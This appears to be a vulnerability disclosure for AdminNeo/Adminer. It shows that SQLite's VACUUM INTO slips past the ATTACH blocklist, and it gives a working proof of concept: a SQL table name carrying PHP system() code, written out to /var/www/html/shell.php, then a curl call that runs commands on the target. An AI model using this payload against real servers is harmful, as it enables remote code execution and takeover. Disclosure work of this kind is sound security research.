الملخص
## Summary Adminer blocks `ATTACH` queries for SQLite to prevent arbitrary file creation. However, `VACUUM INTO` is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands. Originally reported in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-gmx3-g29w-77wf) ## Root Cause sql.inc.php, line 146: ```php if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) { // blocked } ``` Only `ATTACH` is in the blocklist. `VACUUM INTO` (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked. ## Steps To Reproduce ### 1. Login to SQLite 1. Open AdminNeo and select driver: **SQLite** 2. Login and create a new database (e.g., `stage.db`) ### 2. Inject PHP code and write the shell Navigate to **SQL command** and execute: ```sql CREATE TABLE "<?php system($_GET['c']); ?>" (i int); VACUUM INTO '/var/www/html/shell.php'; ``` The SQLite file is written to `/var/www/html/shell.php`. The table name containing `<?php` appears as raw bytes in the file. PHP's parser finds and executes it. ### 3. Execute commands ```shell curl "http://TARGET/shell.php?c=id" # uid=0(root) gid=0(root) groups=0(root) ``` ## Collaborator Request This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!